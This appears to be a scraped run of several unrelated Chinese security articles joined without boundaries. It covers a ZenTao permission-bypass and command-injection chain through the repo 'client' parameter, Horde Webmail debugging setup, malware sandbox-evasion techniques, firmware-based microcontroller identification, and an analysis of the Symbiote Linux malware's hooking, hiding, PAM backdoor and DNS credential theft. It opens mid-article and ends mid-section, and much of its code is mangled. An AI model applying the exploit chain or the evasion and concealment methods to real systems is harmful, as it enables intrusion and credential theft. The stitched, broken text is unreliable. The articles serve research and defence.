在進入權限檢查的流程前需要在$this-app-user 不為空的情況下將$this-session-user賦值給$this-app-user ,然後再做權限檢查。因此我們還需要構造一個$this-session-user,即寫一個session['user']才能進行繞過。所以現在思路很清晰了,只需$this-session-user 存在就可以通過⽤戶是否登錄的檢查,使權限檢查的函數如同虛設。 根據這個思路逆推可以得出結論:只要有任意⼀個⽤戶session就可以調⽤任意模塊的任意⽅法。

經過代碼審計發現captcha函數可以直接寫入一個自定義key的session,此段代碼本意是設置生成一個自定義session的key的驗證碼,開發者應該是想寫一個公共的驗證碼生成函數讓其他開發者做新功能需要的時候可以直接調用,正好可以利用生成一個key為user的session。

public function captcha($sessionVar='captcha', $uuid='') { $obLevel=ob_get_level(); for($i=0; $i $obLevel; $i++) ob_end_clean();

header('Content-Type: image/jpeg'); $captcha=$this-app-loadClass('captcha'); $this-session-set($sessionVar, $captcha-getPhrase()); $captcha-build()-output(); }

通過上述思路可以成功實現權限繞過,不過經過實際測試發現,能繞過訪問的皆為公共模塊。因為在禪道的功能權限驗證中還有一部分是驗證userid或level。就好比某些用戶有“項目1”的權限,某些用戶有“項目2”的權限,所以類似這類的數據任然不能訪問獲取。

命令執行-漏洞分析實際上整個利用鏈最關鍵的一環就在上面的權限繞過上,禪道系統後臺本身存在多個sql注入及命令執行漏洞,本文給出一種後台命令執行的方法供參考,其他利用點感興趣的小伙伴可自行研究。

在權限繞過後,接下來我們需要分析後台命令執行點的位置。通過代碼審計,最終鎖定在module/repo/model.php文件,其中checkConnection函數會進行SCM=Subversion判斷,$client是導致命令注入的參數點,一條完整的函數間調用的利用過程如下所示:

module/repo/model.php-create()

module/repo/control.php-edit()

module/repo/model.php-update($repoID)-checkConnection()-exec($versionCommand,$versionOutput, $versionResult);

PS:為什麼要創建倉庫,因為在查看checkConnection調用函數為create和update,但是在create的時候必須經過checkClient 的判斷,必須要創建一個文件才行,如果SCM指定為Gitlab就不需要通過checkClient判斷。

1675061020606412.png

具體復現思路如下:

1.進入創建倉庫的函數:module/repo/model.php

public function create(){ if(!$this-checkClient()) return false; if(!$this-checkConnection()) return false;

$isPipelineServer=in_array(strtolower($this-post-SCM), $this-config-repo-gitServiceList) ? true : false;

$data=fixer:input('post') -setIf($isPipelineServer, 'password', $this-post-serviceToken) -setIf($this-post-SCM=='Gitlab', 'path', '') -setIf($this-post-SCM=='Gitlab', 'client', '') -setIf($this-post-SCM=='Gitlab', 'extra', $this-post-serviceProject) -setIf($isPipelineServer, 'prefix', '') -setIf($this-post-SCM=='Git', 'account', '') -setIf($this-post-SCM=='Git', 'password', '') -skipSpecial('path,client,account,password') -setDefault('product', '') -join('product', ',') -setDefault('projects', '')-join('projects', ',') -get(); $data-acl=empty($data-acl) ? '' : json_encode($data-acl); if($data-SCM=='Subversion') { $scm=$this-app-loadClass('scm'); $scm-setEngine($data); $info=$scm-info(''); $infoRoot=urldecode($info-root); $data-prefix=empty($infoRoot) ? '' : trim(str_ireplace($infoRoot, '', str_replace('\\', '/', $data-path)), '/'); if($data-prefix) $data-prefix='/' . $data-prefix; }

當SCM類型指定為Subversion時,後續控制$client才可以完成命令注入。

2.編輯代碼倉庫進入module/repo/control.php中的edit函數,post傳參會進入到update函數。

public function edit($repoID, $objectID=0){ $this-commonAction($repoID, $objectID);

$repo=$this-repo-getRepoByID($repoID); if($_POST) { $noNeedSync=$this-repo-update($repoID); if(dao:isError()) return $this-send(array('result'='fail', 'message'=dao:getError())); $newRepo=$this-repo-getRepoByID($repoID); $actionID=$this-loadModel('action')-create('repo', $repoID, 'edited'); $changes=common:createChanges($repo, $newRepo); $this-action-logHistory($actionID, $changes);

跟踪update函數到module/repo/model.php,需要將scm設置為Subversion,此時會去檢測svn服務器是否可以連接。

publicfunctionupdate($id){

$repo=$this-getRepoByID($id);

if(!$this-checkConnection())returnfalse;

$isPipelineServer=in_array(strtolower($this-post-SCM),$this-config-repo-gitServiceList)?true:false;

$data=fixer:input('post')

-setIf($isPipelineServer,'password',$this-post-serviceToken)

-setIf($this-post-SCM=='Gitlab','path','')

-setIf($this-post-SCM=='Gitlab','client','')

-setIf($this-post-SCM=='Gitlab','extra',$this-post-serviceProject)

-setDefault('prefix',$repo-prefix)

-setIf($this-post-SCM=='Gitlab','prefix','')

-setDefault('client','svn')

-setDefault('product','')

-skipSpecial('path,client,account,password')

跟踪該函數,$this-post-SCM等於Subversions時會去check svn服務器version,此刻會把$this-post-client拼接到執行的versionCommand 中,造成命令執行。

if(empty($_POST))returnfalse;

$scm

=$this-post-SCM;

$client=$this-post-client;

$account=$this-post-account;

$password=$this-post-password;

$encoding=strtoupper($this-post-encoding);

$path=$this-post-path;

if($encoding!='UTF8'and$encoding!='UTF-8')$path=helper:convertEncoding($path,'utf-8',$encoding);

if($scm=='Subversion')

{

/*Getsvnversion.*/

$versionCommand='$client--version--quiet21';

exec($versionCommand,$versionOutput,$versionResult);

if($versionResult)

{

$message=sprintf($this-lang-repo-error-output,$versionCommand,$versionResult,join('

',$versionOutput));

dao:$errors['client']=$this-lang-repo-error-cmd.'

'.nl2br($message);

returnfalse;

}

$svnVersion=end($versionOutput);

命令執行最終效果截圖:

1675061323724681.png

0x00 前言本文記錄從零開始搭建Horde Groupware Webmail漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

Horde Groupware Webmail安裝

Horde Groupware Webmail漏洞調試環境配置

常用知識

0x02 Horde Groupware Webmail安裝簡單來說,安裝Horde Groupware Webmail時需要配置以下環境:

MySQL數據庫

Apache2

php7.2

Dovecot

操作系統選擇Ubuntu18,這裡不能選擇Ubuntu16,因為Ubuntu16不支持php7.2

本文的安裝過程做了適當精簡,完整過程可根據參考資料進行學習,具體安裝過程如下:

1.安裝MariaDB Database Server(1)安裝

安裝命令:sudo apt-get -y install mariadb-server mariadb-client

(2)配置

配置命令:sudo mysql_secure_installation

配置如下:

1.png(3)創建數據庫

連接數據庫的命令:mysql -u root -p

執行以下命令:

2.png設置數據庫的用戶為hordeuser,口令為new_password_here

2.安裝php-horde-webmail安裝命令:sudo apt -y install php-horde-webmail

3.配置webmail安裝命令:

3.png

配置如下:

4.png

注:

這裡必須指定為/usr/share/horde,否則在運行webmail-install時報錯提示:failed to open stream: No such file or directory in /usr/bin/webmail-install on line 17

4.安裝安裝命令:webmail-install

配置如下:

5.png 6.png

5.訪問登錄頁面http://127.0.0.1/horde/login.php

這裡不能使用localhost,會報錯提示:

7.png

此時沒有配置郵箱用戶,無法進行登錄,需要安裝Dovecot

6.安裝Dovecot安裝命令:apt-get -y install dovecot-imapd dovecot-pop3d

默認horde webmail沒有配置郵箱用戶,可以使用Ubuntu系統的用戶進行登錄,成功,如下圖

8.png

補充1:安裝File_Fstab會出現bug安裝命令:pear install File_Fstab

安裝這個模塊之後,無法加載test頁面,報錯提示:

9.png

如下圖

10.png補充2:cpanel默認支持Horde Groupware Webmailcpanel的安裝可參考:https://docs.cpanel.net/installation-guide/system-requirements-centos/

cpanel下啟用Horde Groupware Webmail的方法如下:

(1)添加郵箱賬戶

進入WHM,登錄用戶名root,口令為root用戶的口令,選擇創建用戶,如下圖

11.png(2)選擇horde

使用新添加的賬戶登錄,選擇Email Accounts,配置成horde,如下圖

12.png

0x03 Horde Groupware Webmail漏洞調試環境配置這裡需要先在安裝Horde Groupware Webmail的Ubuntu18上添加xdebug,然後在本地安裝PhpStorm進行遠程調試

本地系統使用Windows,IP為192.168.112.131

安裝Horde Groupware Webmail的Ubuntu18 IP為192.168.112.168

流程如下:

1.安裝xdebug需要根據php版本選擇合適的xdebug,可選擇以下兩種篩選方法:

(1)命令行執行命令php -i

(2)瀏覽器訪問phpinfo頁面

echo '

訪問http://127.0.0.1/horde/phpinfo.php

將以上方法得到的輸出信息複製到https://xdebug.org/wizard,可以自動解析出對應的xdebug版本

根據提示進行安裝

輸出信息如下:

13.png

下載安裝xdebug:

14.png

配置xdebug:vi /etc/php/7.2/apache2/conf.d/99-xdebug.ini

配置代碼需要區分XDebug2和XDebug3,自PhpStorm 2020.3起,開始使用XDebug3,語法也做了更改,詳細說明:https://xdebug.org/docs/upgrade_guide#changed-xdebug.remote_enable

正確的參數:

15.png對應老的參數(失效):

16.png

重啟Apache服務:sudo systemctl restart apache2.service

可通過訪問phpinfo頁面確認xdebug是否配置成功

2.PhpStorm配置(1)安裝PhpStorm

(2)配置調試端口

打開PhpStorm,創建一個PHP Empty Project

依次打開File-Settings-PHP-Debug

確認調試端口為9000,如下圖

17.png

(3)配置DBGp Proxy

依次打開File-Settings-PHP-Debug-DBGp Proxy,填入以下信息:

18.png

如下圖

19.png

(4)配置Servers

依次打開File-Settings-PHP-Servers

手動添加一個,填入以下信息:

20.png

勾選Use path mappings,填入以下配置信息:

21.png如下圖

22.png3.下斷點將Ubuntu18的文件夾/usr/share/horde下載到本地,保存為c:\Users\1\PhpstormProjects\untitiled\horde

在PhpStorm打開需要調試的php文件並下斷點

4.開始調試(1)配置

依次打開Run-Edit Configurations

手動添加一個,選擇PHP Web Page,填入以下信息:

23.png(2)開啟監聽

依次打開Run-Start Listening for PHP Debug Connections

(3)開啟調試

依次打開Run-Debug

彈出Chrome瀏覽器,捕獲到斷點,如下圖

24.png

0x04 常用知識1.添加管理員用戶將用戶a設置為管理員用戶

25.png

修改:$conf['auth']['admins']=array();

設置為:$conf['auth']['admins']=array('a');

2.日誌位置26.png

0x05 小結在我們搭建好Horde Groupware Webmail漏洞調試環境後,接下來就可以著手對漏洞進行學習。

參考資料:

https://www.horde.org/apps/webmail/docs/INSTALL

https://github.com/horde/base/blob/master/doc/INSTALL.rst

https://geekrewind.com/install-horde-groupware-webmail-on-ubuntu-16-04-18-04-with-apache2/

https://neoserver.site/help/step-step-installation-instructions-postfix-and-dovecot-ubuntu

當惡意軟件開發者發現自己在沙盒中運行時,會竭盡全力避免惡意行為。目前有很多沙盒檢測方法,每種方法都有優缺點。

至於惡意軟件開發者如何檢測到沙盒?有很多不同的方法,但總的來說,他們會檢查環境的特徵,看看它是否看起來像一個目標主機,而不是一個自動化系統。

逃避沙盒策略惡意軟件開發者會使用大量技術來檢查它們是否運行在“真正的”目標主機上,比如計算瀏覽器緩存中的cookie數量,或者檢查顯存是否太小。

檢測儀器或“掛鉤”逃避沙盒儀器的檢測,這絕對是最流行的技術之一。最常見的例子是檢查API掛鉤,因為這是沙盒和防病毒供應商檢測和記錄分析中的可執行文件進行的所有API調用的常用方法。這可以像檢查常見函數的函數序言一樣簡單,看看它們是否被掛鉤。

在下圖中,我們看到了Windows 10中CreateFileA的序言的反彙編是什麼樣子的,以及如果在沙盒中插入了指令,它可能是什麼樣子。

1.png

系統API中函數上的典型沙盒掛鉤

如上所示,攻擊者很容易察覺到這一點,這就是為什麼這是我們所看到的最常見的方法之一。

這種技術的一個有趣的變化是,惡意軟件檢測並解除現有的掛鉤,以便在不記錄其活動的情況下偷偷執行。當惡意軟件開發者想要通過端點保護而不被目標主機檢測到時,就會發生這種情況。

下圖顯示了GuLoader如何解包ZwProtectVirtualMemory函數序言的字節以恢復原始功能的示例。

2.png

GuLoader正在解除逃避系統API函數中的檢測

減少逃避沙盒儀器檢測的方法防止惡意軟件作者檢測檢測儀器的黃金標準就是不要有任何對你正在分析的程序可見的異常內容。越來越多的沙盒將這一想法作為其檢測策略的重點。當你在操作系統中的任何地方都不改變一個字節時,你就更容易避免逃避。

與其通過更改代碼來檢測API,不如使用虛擬化來無形地檢測分析中的程序。從來賓VM外部檢測惡意軟件有很多好處。

3.png

客戶機與基於虛擬機監控程序的掛鉤引擎。左:程序分析組件與它執行的惡意軟件樣本一起存在於來賓VM中。右:分析組件完全存在於來賓VM之外,因此對於被分析的程序來說是不可見的

檢測虛擬環境另一個常見的逃避則涉及檢測文件正在虛擬機(VM)中執行。這可能涉及指紋資源,如低CPU核心數、系統或視頻內存或屏幕分辨率。它還可能涉及特定VM的指紋工件。

在構建沙盒時,供應商有大量的虛擬機解決方案可供選擇,如KVM、VirtualBox和Xen。每一個都有各種各樣的工件和特性,它們可以被運行在它們下面的vm中的軟件檢測到。

其中一些特性是特定係統特有的,比如檢查VMware的後門接口,或者檢查提供給操作系統的硬件是否與QEMU提供的虛擬硬件匹配。其他方法可以簡單地檢測一般的管理程序。例如,Mark Lim在一篇文章中討論了管理程序的一般逃避,該文章利用了許多管理程序錯誤地模擬trap標誌行為這一事實。

惡意軟件確定其是否在VMware虛擬機內運行的最早和最廣泛使用的機制之一是使用VMware的後門接口來查看VMware虛擬機管理程序是否有任何有效響應。這種檢查的示例如下圖所示。

4.png

惡意軟件檢查它是否在VMware虛擬機內運行

惡意軟件家族還可以使用Windows Management Instrumentation(WMI)查詢來查詢計算機製造商或型號信息。這允許他們獲取有關係統的信息,並將其與已知的沙盒或管理程序字符串進行比較。

下圖顯示瞭如何使用它對VMware、Xen、VirtualBox和QEMU進行查詢。同樣的技術也可以在Al-Khaser中找到,這是一個包含許多反沙盒技術的開源工具。

5.png

用於查詢計算機信息的WMI查詢

下圖顯示了惡意軟件可能與之交互的軟件組件,以顯示它是否在虛擬環境中執行。

6.png

進程可以與之交互以評估它們是否在VM內部

此外,在來賓虛擬機周圍經常會散佈大量信息,這些信息可以很容易地提供有關來賓操作系統在其下運行的虛擬機平台的線索。具體信息取決於所使用的VM基礎架構(例如,VMware、KVM或QEMU)。

以下只是惡意軟件作者可以檢查的幾個示例:

顯示VM特定硬件、驅動程序或服務的註冊表項路徑;

VM特定驅動程序或其他服務的文件系統路徑;

特定於某些VM基礎結構的MAC地址;

虛擬硬件(例如,如果查詢報告你的網卡是多年未生產的Intel e1000,它可以推斷你可能正在使用Qemu硬件模型運行);

運行顯示虛擬機平台特定服務以支持準虛擬化的流程,或為用戶提供方便的系統(如VMware工具);

CPUID指令,在許多情況下,有助於通知VM平台的客戶端軟件;

緩解虛擬機逃避大多數緩解措施的主要問題是,主流虛擬化平台替代方案為惡意軟件開發者所熟知。為了便於實現,大多數沙盒都基於KVM、Xen或QEMU等系統,這使得這類逃避特別難以緩解。

每一個主流虛擬機平台都被沙盒逃避所針對。問題是,除了編寫自己的自定義管理程序來支持惡意軟件分析之外,沒有什麼能有效地解決這類逃避問題。

缺乏人機互動這一類別包括需要特定人機互動的逃避。例如,惡意軟件開發者希望看到鼠標點擊或其他事件發生在“真實”用戶驅動的系統上,但這在典型的自動分析平台中是不存在的。惡意軟件家族通常會檢查人員交互,如果看起來沒有用戶驅動系統,則停止執行,因為用戶活動正在模擬中。

以下是我們在人機交互檢查中觀察到的一般主題:

提示用戶進行交互。例如,應該點擊沙盒可能不知道的對話框或虛假eula以確保引爆。

檢查鼠標點擊,鼠標移動和按鍵。甚至可以分析鼠標事件的位置或擊鍵的時間,以確定它們看起來是“自然的”還是通過編程生成的。

在文檔中放置宏以檢查是否存在諸如滾動、單擊電子表格中的單元格或檢查其他工作表選項卡等人機交互的證據。

讓我們看一個具體的示例(如下圖所示),說明惡意軟件如何獲取自上次用戶輸入(GetLastUserInput)和自系統啟動(GetTickCount)以來的時間。然後,它可以比較自按下最後一個鍵以來經過了多長時間,以檢測系統上是否有任何活動。

7.png

攻擊開始所需的用戶交互

減少人際互動逃避在實現沙盒時,我們可以控制虛擬鍵盤、鼠標和顯示器。如果由於某種原因,分析的可執行文件需要任何輸入鍵,我們可以向分析發送按鍵,或者確保點擊正確的按鈕以繼續執行可執行文件。

與VM檢測問題的所有其他領域一樣,我們需要對惡意軟件家族正在尋找的內容保持警惕,並不斷改進緩解逃避策略。最近的一個例子涉及需要在Excel電子表格中的多個單元格上單獨點擊鼠標的惡意軟件。

時間和計算資源逃避早期,沙盒中最常見的逃避方式之一是在做任何攻擊之前只需要睡眠一個小時。這樣,它將保證惡意軟件將遠遠超出幾乎所有沙盒使用的最短分析時間窗口,因為運行每個樣本超過幾分鐘是不可行的。

沙盒開發者對此的反應是將長時間睡眠縮短為短時間睡眠。下圖顯示了一種使用Windows計時器和Windows消息的逃避技術。其思想是安裝一個每秒鐘觸發一次的計時器,然後在執行計時器的回調時增加一個內部變量。

一旦變量達到特定的閾值,它將發送另一條Windows消息通知示例開始執行惡意軟件。這種規避的問題是,沙盒不能簡單地將計時器的超時時間減少到一個較低的數字,因為它可能會中斷其他軟件的執行,但它仍然必須以某種方式執行。

8.png

使用定時器和Windows消息的睡眠示例

另一個示例如下圖所示,其中惡意可執行文件只需在循環中調用時間戳計數器指令。

9.png

使用時間戳計數器指令的休眠循環

緩解利用時間逃避的方法老實說,利用時間逃避很難緩解。如前所述,我們總是可以調整睡眠參數和計時器,但這並不能完全解決問題。

我們發現另一個有用的策略是,因為我們控制管理程序,所以我們可以使用技術來控制所有硬件和軟件,從而使來賓VM中的時間過得更快。甚至不需要更改參數或安裝任何掛鉤就可以做到這一點。我們可以在幾分鐘內實時運行一個小時的可執行文件,這使我們能夠更快地獲取惡意代碼。

垃圾指令循環或虛擬機退出循環可能是最難對付的情況。如果惡意軟件開發者執行了幾百萬條CPUID指令,在管理程序下面執行這些指令的時間就會呈指數級增長,那麼我們的代碼就是在VM中運行的。

Pocket Litter檢查“Pocket Litter”一詞來自間諜活動領域,其目的是用於惡意軟件開發者檢查環境是否顯示出真實的目標主機的證據。

在沙盒環境中,檢查“Pocket Litter”通常包括查找合理的系統正常運行時間、My Documents文件夾中的足夠數量的文件或系統瀏覽器緩存中的大量頁面。這些都有助於證實該系統是“真實的”,而不是沙盒環境。與其他類別一樣,變化的數量似乎是無限的。

下圖顯示了另一個示例,其中惡意軟件檢查是否有兩個以上的可用處理器以及是否有足夠的可用內存。通常,沙盒環境的可用內存沒有普通PC那麼多,這項檢查是測試目標系統是否可能是台式PC或在沙盒環境中運行。

10.png

檢查所需的最小處理器數量和運行所需的內存

在下圖中,還有另一個示例,如果卷磁盤序列號與已知防病毒供應商使用的模擬器的序列號匹配,則AutoIt可執行文件將退出。

11.png

檢查卷序列號

Pocket Litter檢查緩解措施目前沒有一種特定的方法可以用於緩解這種逃避,只能具體問題具體解決。

例如,當我們看到對特定位置的特定類型文件進行檢查時(如果它看起來是對VM映像的無害更改),我們將它們添加到任何相關示例中以查看。這種Pocket Litter的方法感覺像是貓捉老鼠的遊戲。

總結沙盒逃避的方法太多,沒有哪一種方法可以有效地解決所有問題,因此必須具體問題具體分析解決。

微控制器對網絡安全威脅和攻擊的保護有限。因此,物聯網(IoT) 設備和依賴它們的嵌入式系統的安全性可能會受到損害。

為了提高物聯網設備或其固件的安全性,您需要確切地知道使用了哪些微控制器。掌握這些知識為更深入的軟件分析開闢了新的可能性,從而更有效地改進解決方案的性能和安全性。在本文中,我們展示了一種使用固件分析來識別微控制器型號的方法。

本文將對尋求自動執行微控制器識別過程的有效方法的嵌入式軟件開發人員和逆向工程專家有所幫助。

什麼是微控制器以及如何識別微控制器如今,人們每天使用各種嵌入式系統和物聯網設備,其中裝有各種微控制器。微控制器或微控制器單元(MCU) 是設計用於在嵌入式系統中執行特定操作的小型集成電路。

工程師經常在醫療物聯網設備、汽車系統,甚至航天工業中使用MCU。無論一個設備是測量你的心率、檢測空氣中的煙霧,還是管理你的智能汽車的能源消耗,都會有一整套微控制器參與到這個過程中。

一個基本的微控制器通常由三個核心組件組成:

處理器

記憶

輸入/輸出(I/O) 外設

微控制器通常具有有限的內存和帶寬資源,並且專用於特定任務。大多數微控制器都是定制的,沒有前端操作系統。

由於資源有限,微控制器很容易成為網絡犯罪分子的目標。這就是為什麼要確保IoT 設備得到適當的保護,解決設備所依賴的微控制器的特定漏洞和弱點至關重要。

當您擁有從頭開始構建的自定義設備時,您可能會了解它的所有來龍去脈。但是,如果您的項目記錄不完整,或者您必須使用您一無所知的物聯網設備,那麼首要任務是確定其使用的微控制器型號。

如何識別單片機型號?試圖將不同的二進製文件彼此區分開來可能具有挑戰性,尤其是當二進製文件使用大量相似的代碼或執行相似的功能時。在識別與微控制器相關的二進製文件時,您很容易遇到執行類似任務的函數,這會使事情變得比可執行二進製文件更加模糊。

然而,有一種有效的方法不僅可以識別微控制器的型號,還可以使過程自動化。

首先,讓我們看一下識別MCU型號需要採取的關鍵步驟:

image.png

要自動化此過程並能夠快速輕鬆地識別微控制器模型,您需要:

自動生成C 風格的偽代碼。您可以使用IDA-Pro 或Ghidra 等工具執行此操作。

從微控制器的代碼或數據庫中收集要搜索的微控制器的所有標頭。

現在讓我們看看如何使用這種方法識別未知的微控制器。

根據硬件地址識別MCU型號在本節中,我們將討論如何通過分析其外圍設備的硬件地址來識別微控制器的型號。

由於外圍設備使用硬件訪問,你應該可以在單片機的二進制代碼中看到對靜態硬件地址的訪問,而這些地址應該定義在一個C頭文件中。此外,由於這些地址是硬編碼的,因此它們不應受到二進制地址空間佈局隨機化(ASLR)的嚴重影響。

要遵循我們的指南,您需要了解C、Python和以下工具:

命令

IDA專業版

GNU 編譯器集合(GCC)

py-c-預處理器

我們將使用NXP的S32 PPC 微控制器,特別是MPC5 定時器演示。但是,請記住,下面描述的方法可以應用於您遇到的任何MCU。這種方法唯一可能效率低下的情況是,如果有一個與您的MCU 模型非常相似的微控制器;例如,如果兩個或多個MCU 型號由同一家公司製造並且具有相同的外圍設備。

現在讓我們開始吧。

1.分析單片機源碼使用MPC5 微控制器演示並在IDA-Pro 中查看其源代碼。您應該會以類似結構的模式看到一些對外圍設備的引用。當您深入研究時,您將看到對MPC5744P.h標頭的引用以及此類定義:

image.png

這些是對微控制器外圍設備的硬編碼引用。

你注意到它們是結構了嗎?這意味著由於填充和對齊,它們在內存中看起來會略有不同。

這些結構地址將是您的關鍵信息來源,因此您需要通過解析來獲取所有這些地址,而無需花費太多時間和精力。

2. 解析和排序來自標題的信息由於手動查找和復制硬件地址是一項繁瑣且耗時的任務,您可以嘗試將此過程自動化。

由於結構地址是定義,您可以使用GCC 通過以下命令解析它們:

image.png

在哪裡

image.png

包含微控制器頭文件的路徑。

執行此命令允許轉儲所有#definitions預處理器值。然後,您可以通過使用grep 實用程序處理目標結構來過濾接收到的信息。

一旦獲得GCC 的輸出,就可以使用正則表達式(regex)來過濾定義名稱和地址。在我們的示例中,我們將使用RE Python 模塊在Python 中使用正則表達式。

我們選擇使用Python 工具,因為Python 易於閱讀且易於學習。也不需要學習內存管理,相比其他一些語言,我們可以簡單方便地完成我們的任務。

以下是如何在Python 中使用正則表達式過濾數據:

image.png

注意:如果你遇到一些需要評估定義的場景

image.png

你將需要一個預處理器。預處理器將獲取#definitions值並在預編譯時解析出這些值,因此您不必通過多個標頭手動搜索它們。

以下是使用Python 的py-c-preprocessor執行此操作的方法:

image.png

現在,讓我們回到我們的分析。

3.將二進制轉儲為C風格的偽代碼如果您的硬件地址排序正確,您應該看到每個新外圍設備的地址從哪裡開始,從而能夠在二進製文件中找到外圍結構。

但是,嘗試在十六進制編輯器中解析二進製文件可能很困難。相反,您可以打開二進製文件並在IDA Pro 中對其進行分析。

在IDA Pro 中打開二進製文件後,您可以通過單擊file → produce file → C file生成帶有C 風格偽代碼的文件。帶有C 風格偽代碼的文件將保存微控制器模型識別所需的地址。

4.在偽代碼中搜索外設地址一旦有了C 文件,就可以開始搜索外圍設備地址了。如果您查看帶有C 風格偽代碼的文件,您會看到多行地址。

image.png

請注意,由於所存儲信息的大小,這些地址在偽代碼中略有偏差。

您應該能夠簡單地加載頭文件,解析和排序定義,然後使用C 風格的偽代碼在文件中搜索它們。和上一步一樣,可以使用regex解析C文件,使用parse_memory_locations_from_C_file函數過濾出自己需要的地址:

image.png

然後你需要將你從頭文件中拉取的排序後的地址和在C 風格的偽代碼文件中找到的地址傳遞給perform_search函數。

image.png

注意:從技術上講,如果您知道結構的大小,則可以在確切位置自動找到所有具有相同大小的結構。但是,我們不會描述這個過程,因為它超出了當前指南的範圍。

5.識別單片機型號使用C 風格偽代碼在文件中搜索外設地址後,您可以嘗試識別您的微控制器。為此,將二進製文件標頭中的硬件地址與C 文件中的地址進行比較。通過計算不同微控制器的加權分數,您將能夠識別您正在處理的那個。

以下是我們示例的結果:

image.png

加權得分最高的微控制器就是您要找的那個。在我們的例子中,它是MPC5744P.h 微控制器。

要查看我們指南中使用的腳本的完整代碼,請轉到Apriorit GitHub頁面。

結論微控制器是當今物聯網設備的重要組成部分。了解特定設備包含哪些微控制器對於有效提高設備的性能和安全性是必要的。

一、概述近期,我們發現一種新型的Linux惡意軟件Symbiote被報導出來,該惡意軟件被描述為“幾乎不可能被檢測到”。之所以被命名為Symbiote(中文含義:共生體),也是基於該樣本的攻擊性質:作為非獨立運行的共享庫文件加載到其他正在運行的進程中。其目的是竊取遠程主機的登錄憑證以及後門訪問。

下面將對該惡意軟件的其中一個樣本進行詳細分析。

二、詳情分析1加載方式

LD_PRELOAD是Linux系統的一個環境變量,它可以影響程序的運行時的鏈接(Runtime linker),允許你定義在程序運行前優先加載的動態鏈接庫。通過這個環境變量,可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫。通過覆蓋正常的庫函數,注入到正在運行的進程,從而達到特定的目的。

該樣本使用同名、同參數的自定義函數,通過LD_PRELOAD的方式加載到其他進程中,進而覆蓋掉同名的系統函數,優先調用自定義函數,達到調用過程劫持效果。

所有的劫持函數都如下圖邏輯:

图片圖1

2進程隱藏

該樣本會隱藏自身加載到其他程序中的共享庫痕跡,以及隱藏一起部署的其他惡意程序。

隱藏其他惡意程序

實現方式為,掛鉤readdir、readdir64、stat、statx、fstatat、fstatat64等函數,目標文件在/proc下時,獲取執行命令,判斷是否為需要隱藏的進程,若是,則跳過該條目信息,繼續執行返回下一個無需隱藏的文件條目信息。

图片圖2

图片圖3

本樣本隱藏的進程名

certbotx64

certbotx86

javautils

隱藏共享庫痕跡

除了隱藏一起部署的其他惡意程序,還會隱藏自身模塊。如用戶可通過ldd命令輸出指定的每個程序或共享對象所需的共享對象(共享庫)。如下圖所示,ldd命令會調用execve函數,該樣本就通過掛鉤execve的方式劫持返回結果。

图片圖4

通過LD_TRACE_LOADED_OBJECTS環境變量判斷是否為列出其動態庫依賴項(ldd命令)。

图片圖5

具體隱藏過程如下,fork一個子進程去執行命令,返回結果到管道。

图片圖6

在本進程中,使用後面的字符串數據覆蓋掉需要隱藏的自身庫字符串再輸出,達到隱藏效果。

图片

圖7

運行效果圖如下,該樣本目前只是過濾硬編碼寫入的文件名,改名後就會顯示出來,不排除後續版本會更新為自動獲取名稱。

图片圖8

3文件隱藏

除了隱藏進程相關的文件,還會隱藏其他非進程的信息存儲文件。在Linux系統中,使用ls、dir、tree等命令顯示出目錄下的文件信息,通過掛鉤文件相關函數readdir、readdir64就可以實現文件隱藏。

具體細節如下,讀取到需隱藏的文件流時,繼續讀取下一個,直至該文件流為非隱藏文件或為空才返回。這樣就跳過了惡意文件,達到隱藏目的。

图片

圖9

图片圖10

隱藏的文件列表

certbotx64

certbotx86

javautils

bancodobrasildev

search.so

certbot.h

cert.h

4網絡隱藏

該樣本採用了三種流量隱藏的方法,分別是劫持fopen函數、劫持注入eBPF、劫持libpcap庫函數。

劫持fopen函數

檢測到程序使用fopen讀取\proc\net\目錄下的文件時,便會生成一個臨時文件,讀取源文件的每一行並將過濾掉指定端口的數據寫入臨時文件,最後將過濾後的臨時文件句柄返回調用者,達到隱藏效果。

图片

圖11

图片

圖12

劫持注入eBPF

BPF(Berkeley Packet Filter), 中文翻譯就是伯克利包過濾器。從字面意思可以知道它的主要功能是用來過濾數據包的。根據介紹,BPF 鉤子位於網絡驅動中盡可能早的位置,無需進行原始包的複制就可以實現最佳的數據包處理性能,掛載的BPF程序是運行過濾的理想選擇。

下面是BPF流程圖:

图片圖13

劫持方法是掛鉤函數setsockeopt,該函數用於設置socket狀態。

檢測到使用SO_ATTACH_FILTER方式調用時,表示該調用用於數據包過濾。此時就會先將自身的BPF字節碼添加到其他軟件的BPF字節碼前,先一步過濾掉需隱藏的流量,再執行其他軟件注入的BPF字節碼進行過濾。

本樣本用此方法過濾TCP連接中指定端口的流量(包括入站出站)。

图片圖14

劫持libpcap庫函數

實現方法是掛鉤函數pcap_loop、pcap_stats這兩個函數。

掛鉤函數pcap_loop、pcap_stats這兩個函數,在函數pcap_loop中,劫持捕獲流量後執行的回調函數,在惡意回調函數中,匹配流量中需要過濾的域字符串,通過包數計數器加一,丟掉這個流量包。

本樣本中用此方法隱藏UDP流量數據。

图片圖15

图片圖16

5惡意功能

該樣本的主要目的有:竊取用戶登入憑證,後門遠程訪問、文件下載命令執行。

憑證記錄

當用戶使用ssh或者scp並通過公私密鑰key進行遠程主機訪問時,掛鉤後的read便會獲取調用程序命令行參數,獲取遠程主機的地址、連接RSA私鑰等信息。

图片

圖17

图片

圖18

使用簡化的CR4算法加密後,存放在/usr/include/cerbot.h文件中,並通過DNS 地址(A) 記錄請求洩露到攻擊者的控制的域名。

图片

圖19

图片圖20

後門遠程訪問

該樣本劫持Linux系統上可插拔認證模塊(PAM)的關鍵函數pam_set_item、pam_authenticate、pam_acct_mgmt。其中pam_set_item函數用於截取用戶登入密碼,pam_authenticate函數用於校驗密碼。

图片

圖21

图片

圖22

這意味著攻擊者可以使用寫入的硬編碼口令,以任意用戶遠程訪問受害者服務器。

而當其他用戶使用遠程訪問工具(ssh)訪問受害者服務器時,便會獲取遠程主機ip、登入口令等信息,作為憑證竊取的一部分發送至攻擊者域名。

文件下載命令執行

在使用pam_authenticate函數進行身份驗證時,若不是攻擊者訪問,還會向其命令與控制域CC發送DNS 地址(TXT) 記錄請求。 TXT 記錄的格式為%MACHINEID%.%C2_DOMAIN%。

如果收到響應,惡意軟件使用base64 解碼內容,使用Ed25519算法檢查內容鑰簽名,使用RC4解密內容,並在生成的bash 進程中執行shell 腳本。

6CR4

在該樣本中,所有的字符串都是通過簡化的CR4算法獲取,該CR4算法核心如下:

